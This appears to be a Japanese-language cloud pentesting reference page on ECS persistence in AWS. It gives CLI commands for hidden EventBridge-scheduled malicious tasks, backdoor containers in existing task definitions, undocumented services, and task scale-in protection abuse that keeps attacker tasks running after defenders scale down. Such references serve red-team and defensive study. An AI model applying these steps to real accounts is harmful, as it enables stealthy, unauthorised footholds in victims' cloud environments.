# AWS - ECS Persistence

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## ECS

詳細は以下を参照してください:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### Hidden Periodic ECS Task

> [!NOTE]
> TODO: Test

攻撃者は Amazon EventBridge を使って hidden periodic ECS task を作成し、**malicious task を定期的に実行するようスケジュール**できます。 このタスクは reconnaissance を行ったり、exfiltrate data を行ったり、AWS アカウント内で persistence を維持したりすることができます。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition

> [!NOTE]
> TODO: Test

攻撃者は、既存の ECS task definition に正規のコンテナと並行して動作する **stealthy backdoor container** を追加できます。 その backdoor container は persistence や悪意のある活動の実行に利用できます。
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### 未文書化の ECS Service

> [!NOTE]
> TODO: テスト

攻撃者は悪意のあるタスクを実行する**未文書化の ECS service**を作成できます。タスクの希望数を最小に設定し、ログを無効化することで、管理者が悪意のあるサービスに気づきにくくなります。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)

ecs:UpdateTaskProtection を悪用して、service tasks が scale‑in events や rolling deployments によって停止されるのを防ぎます。保護を継続的に延長することで、攻撃者は長期間稼働するタスクを維持できます（C2 やデータ収集用）。防御側が desiredCount を減らしたり新しい task revisions をプッシュしても、タスクを実行し続けられます。

Steps to reproduce in us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)

# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null

# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"

# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)

# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"

# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING

# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'

# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
影響: 保護されたタスクは desiredCount=0 にもかかわらず RUNNING のままとなり、新しいデプロイ時の置き換えをブロックして ECSサービス内でステルス性の高い長期的な永続化を可能にします。

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